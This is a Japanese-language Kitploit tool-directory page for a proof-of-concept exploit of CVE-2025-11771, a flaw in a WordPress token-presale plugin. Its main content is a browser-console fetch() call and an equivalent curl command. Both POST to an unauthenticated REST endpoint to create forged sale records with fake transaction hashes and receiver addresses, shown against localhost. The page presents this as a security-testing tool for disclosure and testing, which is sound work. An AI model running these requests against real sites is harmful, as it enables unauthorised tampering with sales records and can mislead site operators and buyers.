Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-11771 — CVE-2025-11771の概念実証エクスプロイト。WordPress REST APIエンドポイントを介して認証なしで販売レコードを作成するもので、ブラウザコンソールとcurlの例をセキュリティテスト用に示します。 | Kitploit
ツール/GitHubGitHub/jfriedli/cve-2025-11771
脆弱性分析エクスプロイトウェブアプリケーション悪用APIセキュリティテストペネトレーションテスト
GitHubjfriedli/cve-2025-11771

CVE-2025-11771

CVE-2025-11771の概念実証エクスプロイト。WordPress REST APIエンドポイントを介して認証なしで販売レコードを作成するもので、ブラウザコンソールとcurlの例をセキュリティテスト用に示します。

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

エクスプロイト: 認証なしの販売レコード作成

ブラウザコンソール

root@kitploit:~
fetch('http://localhost/wordpress/wp-json/tokenico/create-sale-record', {
  method: 'POST',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: new URLSearchParams({
    networkId: "137",
    presaleKey: "TESTKEY1234",
    createdAt: String(Date.now()),
    tokenAmount: "1000",
    nativeCurrency: "MATIC",
    purchaseAmount: "777",
    transactionHash: "evil-" + Date.now(),
    transactionUrl: "https://example.org/tx/" + Date.now(),
    receiverAddress: "0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef",
    receiverAddressUrl: "https://example.org/address/0xdead"
  })
}).then(r => r.text()).then(console.log);

curl

root@kitploit:~
curl -s -X POST 'http://localhost/wordpress/wp-json/tokenico/create-sale-record' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'networkId=137&presaleKey=TESTKEY1234&createdAt=1724246400000&tokenAmount=1000&nativeCurrency=MATIC&purchaseAmount=777&transactionHash=evil-1724246400000&transactionUrl=https://example.org/tx/evil-1724246400000&receiverAddress=0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef&receiverAddressUrl=https://example.org/address/0xdead'
ツールをダウンロード